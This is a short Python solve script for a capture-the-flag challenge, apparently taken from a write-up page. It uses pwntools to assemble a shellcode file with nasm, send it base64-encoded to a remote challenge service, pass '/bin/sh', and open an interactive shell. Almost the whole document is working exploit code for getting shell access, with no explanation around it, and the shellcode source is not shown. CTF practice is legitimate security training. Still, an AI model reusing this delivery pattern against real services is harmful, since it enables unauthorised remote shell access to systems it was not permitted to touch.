/..

#CONTENT

#TOP

solve.py
PYTHON
from pwn import *
from base64 import b64encode
from subprocess import run

run("nasm -f bin solve.asm -o solve.bin", shell=True, check=True)

p = remote(args.HOST or "localhost", args.PORT or 5000)
data = b64encode(open("solve.bin", "rb").read())
p.sendlineafter(b": ", data)
p.sendlineafter(b": ", b"/bin/sh")
p.interactive()